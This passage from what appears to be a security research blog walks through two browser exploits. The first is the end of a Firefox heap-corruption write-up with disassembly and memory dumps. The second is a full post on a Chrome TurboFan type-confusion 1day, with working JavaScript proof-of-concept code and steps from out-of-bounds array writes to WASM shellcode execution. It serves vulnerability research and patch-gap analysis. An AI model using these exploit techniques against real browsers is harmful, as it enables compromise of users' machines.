.text:11D66723                 mov     [eax], edx
.text:11D66725                 mov     al, 1
.text:11D66727                 jmp     short loc_11D6671B
.text:11D66727 bool __cdecl mozilla::BinarySearchIf<struct ProjectFuncIndex, class mozilla::detail::BinarySearchDefaultComparator<unsigned int>>(struct ProjectFuncIndex const &, unsigned int, unsigned int, class mozilla::detail::BinarySearchDefaultComparator<unsigned int> const &, unsigned int *) endp

This brings us to the call to putNew() which will try to put the key funcIndex and the value fun into the hash table.

    template <typename... Args>
    MOZ_MUST_USE bool putNew(const Lookup& l, Args&&... args)
    {
        if (!this->checkSimulatedOOM())
            return false;

        if (!EnsureHash<HashPolicy>(l))
            return false;

        if (checkOverloaded() == RehashFailed)
            return false;

        putNewInfallible(l, mozilla::Forward<Args>(args)...);
        return true;
    }

The HashTable::putNew() method wraps a call to HashTable::putNewInfallible(), shown below.

    template <typename... Args>
    void putNewInfallible(const Lookup& l, Args&&... args)
    {
        MOZ_ASSERT(!lookup(l).found());
        mozilla::ReentrancyGuard g(*this);
        putNewInfallibleInternal(l, mozilla::Forward<Args>(args)...);
    }

Which in turn wraps another call to HashTable::putNewInfallibleInternal(), shown below.

    template <typename... Args>
    void putNewInfallibleInternal(const Lookup& l, Args&&... args)
    {
        MOZ_ASSERT(table);

        HashNumber keyHash = prepareHash(l);
        Entry* entry = &findFreeEntry(keyHash);
...
    }

The HashTable::prepareHash() method calculates the hash for the given key and in our case will return 0xfffffffe. This will cause findFreeEntry() to corrupt the JSValueTag at 0x4d0f0064, changing it from JSVAL_TAG_STRING (0xffffff86) to JSVAL_TAG_SYMBOL (0xffffff87), as shown below.

; File: xul.dll
; Version: 54.0.0.6368

.text:10BE112F private: class js::detail::HashTableEntry<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>> & __thiscall js::detail::HashTable<class js::HashMapEntry<unsigned int, class js::jit::MDefinition *>, struct js::HashMap<unsigned int, class js::jit::MDefinition *, struct js::DefaultHasher<unsigned int>, class js::SystemAllocPolicy>::MapHashPolicy, class js::SystemAllocPolicy>::findFreeEntry(unsigned int) proc near
.text:10BE112F
.text:10BE112F var_4           = dword ptr -4
.text:10BE112F arg_0           = dword ptr  8
.text:10BE112F
.text:10BE112F                 push    ebp
.text:10BE1130                 mov     ebp, esp
.text:10BE1132                 push    ecx
.text:10BE1133                 push    ebx
.text:10BE1134                 push    esi
.text:10BE1135                 mov     ebx, ecx
.text:10BE1137                 push    edi
.text:10BE1138                 mov     edi, [ebp+arg_0]
.text:10BE113B                 mov     esi, edi
.text:10BE113D                 movzx   ecx, byte ptr [ebx+7] ; movzx ecx,byte ptr [ebx+7]       ds:002b:4d0f00b7=7e
.text:10BE1141                 shr     esi, cl         ; 0xfffffffe >>> 0x7e, esi becomes 0x3 (in inlined hash1() call)
.text:10BE1143                 mov     edx, esi
.text:10BE1145                 mov     [ebp+var_4], ecx
.text:10BE1148                 shl     edx, 4
.text:10BE114B                 add     edx, [ebx+8]    ; add edx,dword ptr [ebx+8] ds:002b:4d0f00b8=4d0f0034 (edx = 0x30)
.text:10BE114E                 cmp     dword ptr [edx], 1 ; cmp dword ptr [edx],1    ds:002b:4d0f0064=ffffff86 (inlined entry->isLive())
.text:10BE1151                 jbe     short loc_10BE1180
.text:10BE1153                 push    20h ; start of inlined hash2() call
.text:10BE1155                 pop     eax
.text:10BE1156                 sub     eax, ecx
.text:10BE1158                 mov     ecx, eax
.text:10BE115A                 shl     edi, cl
.text:10BE115C                 mov     ecx, [ebp+var_4]
.text:10BE115F                 shr     edi, cl
.text:10BE1161                 mov     ecx, eax
.text:10BE1163                 xor     eax, eax
.text:10BE1165                 or      edi, 1
.text:10BE1168                 inc     eax
.text:10BE1169                 shl     eax, cl
.text:10BE116B                 dec     eax ; end of inlined hash2() call
.text:10BE116C
.text:10BE116C loc_10BE116C:
.text:10BE116C                 or      dword ptr [edx], 1 ; or dword ptr [edx],1    ds:002b:4d0f0064=ffffff86 (inlined entry->setCollision() call)
.text:10BE116F                 sub     esi, edi
.text:10BE1171                 and     esi, eax
.text:10BE1173                 mov     edx, esi
.text:10BE1175                 shl     edx, 4
.text:10BE1178                 add     edx, [ebx+8]
.text:10BE117B                 cmp     dword ptr [edx], 1 ; (inlined entry->isLive())
.text:10BE117E                 ja      short loc_10BE116C ;
.text:10BE1180
.text:10BE1180 loc_10BE1180:
.text:10BE1180                 pop     edi
.text:10BE1181                 pop     esi
.text:10BE1182                 mov     eax, edx
.text:10BE1184                 pop     ebx
.text:10BE1185                 mov     esp, ebp
.text:10BE1187                 pop     ebp
.text:10BE1188                 retn    4

Fake Symbol

The heap spray contains a JSString at address 0x4d0f0060, as shown below.

0:000> dd 4d0f0060
4d0f0060  13cd01a0 ffffff86 00000000 00000000
4d0f0070  00000000 00000000 00000000 00000000
4d0f0080  0000007b 00000030 4d0f0080 cccccccc
4d0f0090  00000000 00000000 16712200 ffffff8c
4d0f00a0  00000000 00000000 09eb3360 ffffff8c

After corrupting the JSValueTag, the string becomes a fake JS::Symbol object. By calling toString() on the fake symbol, 0x30 bytes from address 0x4d0f0080 are leaked. This includes the address of a TypedArray object at 0x4d0f0098 and the address of an iframe at 0x4d0f00a8 to be used later.

Arbitrary Memory Read/Write

Once the address of the TypedArray object has been leaked, the corrupted part of the heap spray is restored to its original contents and the write address is updated to point to the unaligned address of the length field of the TypedArray object. The vulnerability is then triggered a second time. Below is the contents of the Typed Array object before.

0:000> dd 14642200
14642200  143f4cb8 1463fa18 00000000 04bf7198
14642210  00000000 ffffff83 00000010 ffffff81
14642220  00000000 ffffff81 14642230 00000000
14642230  00000000 00000000 00000000 00000000
14642240  00000000 00000000 00000000 00000000
14642250  00000000 00000000 00010000 00000000
14642260  00000000 00000000 00000000 00000000
14642270  143f4cb8 1463fa18 00000000 04bf7198

At address 0x14642218 the TypedArray length is located, the data buffer starts at 0x14642230, and the next TypedArray is located at address 0x14642270. Below is the contents after the write changes the length from 0x10 to 0x10010.

0:000> dd 14642200
14642200  143f4cb8 1463fa18 00000000 04bf7198
14642210  00000000 ffffff83 00010010 ffffff81
14642220  00000000 ffffff81 14642230 00000000
14642230  00000000 00000000 00000000 00000000
14642240  00000000 00000000 00000000 00000000
14642250  00000000 00000000 00010000 00000000
14642260  00000000 00000000 00000000 00000000
14642270  143f4cb8 1463fa18 00000000 04bf7198

The corrupted TypedArray is then used to overwrite length of the next adjacent TypedArray with 0xffffffff. This way arbitrary memory read/write is achieved.

Animation showing the vulnerability being exploited.

In the next post in this series we will use the ability to read and write arbitrary memory to achieve code execution.

The post Firefox Vulnerability Research appeared first on Exodus Intelligence.

A EULOGY FOR PATCH-GAPPING CHROME

24 February 2020 at 14:01

Authors: István Kurucsai and Vignesh S Rao

In 2019 we looked at patch gapping Chrome on two separate occasions. The conclusion was that exploiting 1day vulnerabilities well before the fixes were distributed through the stable channel is feasible and allows potential attackers to have 0day-like capabilities with only known vulnerabilities. This was the result of a combination of factors:

  • the 6-week release-cycle of Chrome that only included occasional releases in-between
  • the open-source development model that makes security fixes public before they are released to end-users
  • this is compounded by the fact that regression tests are often included with patches, reducing exploit development time significantly. It is often the case that achieving the initial corruption is the hardest part of a browser/JS engine exploit as the rest can be relatively easily reused

Mozilla seems to tackle the issue by withholding security-critical fixes from public source repositories right up to the point of a release and not including regressions tests with them. Google went with an aggressive release schedule, first to a biweekly cycle for stable, then pushing it even further with what appears to be weekly releases in February.

This post tries to examine if leveraging 1day vulnerabilities in Chrome is still practical by analyzing and exploiting a vulnerability in TurboFan. Some details of v8 that were already discussed in our previous posts will be glossed over, so we would recommend reading them as a refresher.

The vulnerability

We will be looking at Chromium issue 1053604 (restricted for the time being), fixed on the 19th of February. It has all the characteristics of a promising 1day candidate: simple but powerful-looking regression test, incorrect modeling of side-effects, easy to understand one-line change. The CL with the patch can be found here, the abbreviated code of the affected function can be seen below.

NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
  JSHeapBroker* broker, Node* receiver, Node* effect,
  ZoneHandleSet<Map>* maps_return) {
    ...
    InferReceiverMapsResult result = kReliableReceiverMaps;
    while (true) {
      switch (effect->opcode()) {
      ...
        case IrOpcode::kCheckMaps: {
          Node* const object = GetValueInput(effect, 0);
          if (IsSame(receiver, object)) {
            *maps_return = CheckMapsParametersOf(effect->op()).maps();
            return result;
          }
          break;
        }
        case IrOpcode::kJSCreate: {
          if (IsSame(receiver, effect)) {
            base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
            if (initial_map.has_value()) {
              *maps_return = ZoneHandleSet<Map>(initial_map->object());
              return result;
            }
            // We reached the allocation of the {receiver}.
            return kNoReceiverMaps;
          }
+         result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
          break;
        }
      ...  
      }
      // Stop walking the effect chain once we hit the definition of
      // the {receiver} along the {effect}s.
      if (IsSame(receiver, effect)) return kNoReceiverMaps;
      
      // Continue with the next {effect}.
      effect = NodeProperties::GetEffectInput(effect);
    }
}

The changed function, NodeProperties::InferReceiverMapsUnsafe is called through the MapInference::MapInference constructor. It is used to walk the effect chain of the compiled function backward from the use of an object as a receiver for a function call and find the set of possible maps that the object can have. For example, when encountering a CheckMaps node on the effect chain, the compiler can be sure that the map of the object can only be what the CheckMaps node looks for. In the case of the JSCreate node indicated in the vulnerability, if it creates the receiver the compiler tries to infer the possible maps for, the initial map of the created object is returned. However, if the JSCreate is for a different object than the receiver, it is assumed that it cannot change the map of the receiver. The vulnerability results from this oversight, as JSCreate accesses the prototype of the new target, which can be intercepted by a Proxy. This can cause arbitrary user JS code to execute.

In the patched version, if a JSCreate is encountered on the effect chain, the inference result is marked as unreliable. The compiler can still optimize based on the inferred maps but has to guard for them explicitly, fixing the issue.

The MapInference class is used mainly by the JSCallReducer optimizer of TurboFan, which attempts to special-case or inline some function calls based on the inferred maps of their receiver objects. The regression test included with the patch is shown below.

let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
  a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
  get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
  f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

The issue is triggered in function f, through Array.prototype.pop. The Reflect.construct call is turned into a JSCreate operation, which will run user JS code if a Proxy is passed in that intercepts the prototype get access. While the pop function does not take an argument, providing the return value of Reflect.construct as one ensures that there is an effect edge between the resulting JSCreate and JSCall nodes so that the vulnerability can be triggered.

The function implementing reduction of calls to Array.prototype.pop is JSCallReducer::ReduceArrayPrototypePop, its code is shown below.

Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
  ...
  Node* receiver = NodeProperties::GetValueInput(node, 1);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  MapInference inference(broker(), receiver, effect);
  if (!inference.HaveMaps()) return NoChange();
  MapHandles const& receiver_maps = inference.GetMaps();
  std::vector<ElementsKind> kinds;
  if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds))  {
    return inference.NoChange();
  }
  if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
  inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback());
  std::vector<Node*> controls_to_merge;
  std::vector<Node*> effects_to_merge;
  std::vector<Node*> values_to_merge;
  Node* value = jsgraph()->UndefinedConstant();
  Node* receiver_elements_kind = LoadReceiverElementsKind(receiver, &effect, &control);
  Node* next_control = control;
  Node* next_effect = effect;
  for (size_t i = 0; i < kinds.size(); i++) {      
  // inline pop for every inferred receiver map element kind and dispatch as appropriate
  ...
  }

If the receiver maps of the call can be inferred, it replaces the JSCall to the runtime Array.prototype.pop with an implementation specialized to the element kinds of the inferred maps. Line 14 creates a MapInference object which invokes NodeProperties::InferReceiverMapsUnsafe, which infers the map(s) and also returns kReliableReceiverMaps. Based on this return value RelyOnMapsPreferStability won’t insert map checks or code dependencies. This changes in the patched version, as encountering a JSCreate during the effect chain walk will change the return value to kUnreliableReceiverMaps, which makes RelyOnMapsPreferStability insert the needed checks.

So what happens in the regression test? The array a is defined with PACKED_SMI_ELEMENTS element kind. When the f function is optimized on the third invocation of mainReflect.construct is turned into a JSCreate node, a.pop into a JSCall with an effect edge between the two. Then the JSCall is reduced based on the inferred map information, which is incorrectly marked as reliable, so no map check will be done after the Reflect.construct call. When invoked with the Proxy argument, the user JS code changes the element kind of a to PACKED_DOUBLE_ELEMENTS, then the inlined pop operates on it as if it was still a packed SMI array, leading to a type confusion.

There are many callsites of the MapInference constructor but those that look the most immediately useful are the JSCallReducers for the pop, push and shift array functions.

Exploitation

To exploit the vulnerability, it is first necessary to understand pointer compression, a recent improvement to v8. It is a scheme on 64-bit architectures to save memory by using 32-bit pointers into a 4GB-aligned, 4GB in size compressed heap. According to measurements by the developers, this saves 30-40% on the memory usage of v8. From an exploitation perspective, this has several implications:

  • on 64-bit platforms, SMIs and tagged pointers are now 32-bit in size, while doubles in unboxed arrays storage remain 64-bit
  • it adds the additional step of achieving arbitrary read/write within the compressed heap to an exploit

The vulnerability grants the addrof and fakeobj primitives readily, as we can treat unboxed double values as tagged pointers or the other way around. However, since pointer compression made tagged pointers 4-byte, it is also possible to write out-of-bounds by using a DOUBLE_ELEMENTS array, turning it into a tagged/SMI ELEMENTS array in the Proxy getter and using Array.prototype.push to add an element to this confused array. The code below uses this to modify the length of a target array to an arbitrary value.

let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
}
let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        b = [0.2, 1.2, 2.2, 3.2, 4.3];
        return Object.prototype;
    }
});
function main(o) {
  return f(o);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
console.log(b.length);   // prints 819

When Line 15 converts a into HOLEY_ELEMENTS storage, its elements storage is reallocated and the unboxed double values are converted to HeapNumbers, which are just compressed pointers to a map and the double value. This makes the array shrink to half in size, then the following push call will still treat the array as if it had HOLEY_DOUBLE storage, writing to length*8, instead of length*4. We use this to corrupt the length of the b array.

At this point, the corrupted array can be conveniently used for relative OOB reads and writes with unboxed double values. From here on, exploitation follows these steps:

  • implementing addrof: can be done by allocating an object after the corrupted float array that can be used to set an inline property on it. This inline property can be read out through the corrupted array.
  • getting absolute read/write access to the compressed heap: place an array with PACKED_DOUBLE_ELEMENTS element kind after the corrupted array, change its elements pointer using the corrupted array to the desired location and read through it.
  • getting absolute uncompressed read/write: TypedArrays use 64-bit backing store pointers as they will support allocations larger than what fits on the compressed heap. Placing a TypedArray after the corrupted array and modifying its backing store thus gives absolute uncompressed read/write access.
  • code execution: load a WASM module, leak the address of the RWX mapping storing the code of one of its functions, replace it with shellcode.

The exploit code can be found here. Note that there’s no sandbox escape vulnerability included.

Conclusion

It took us around 3 days to exploit the vulnerability after discovering the fix. Considering that a potential attacker would try to couple this with a sandbox escape and also work it into their own framework, it seems safe to say that 1day vulnerabilities are impractical to exploit on a weekly or bi-weekly release cycle, hence the title of this post.

Another interesting development that affects exploit development for v8 is pointer compression. It does not complicate matters significantly (it was not meant to do that, anyway) but it might present interesting new avenues for exploitation. For example the things that reside at the beginning of the heap, the roots, the native context, the table of builtins, are now all at predictable and writable compressed addresses.

The timely analysis of these 1day and nday vulnerabilities is one of the key differentiators of our Exodus nDay Subscription. It enables our customers to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organizations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.

The post A EULOGY FOR PATCH-GAPPING CHROME appeared first on Exodus Intelligence.

❌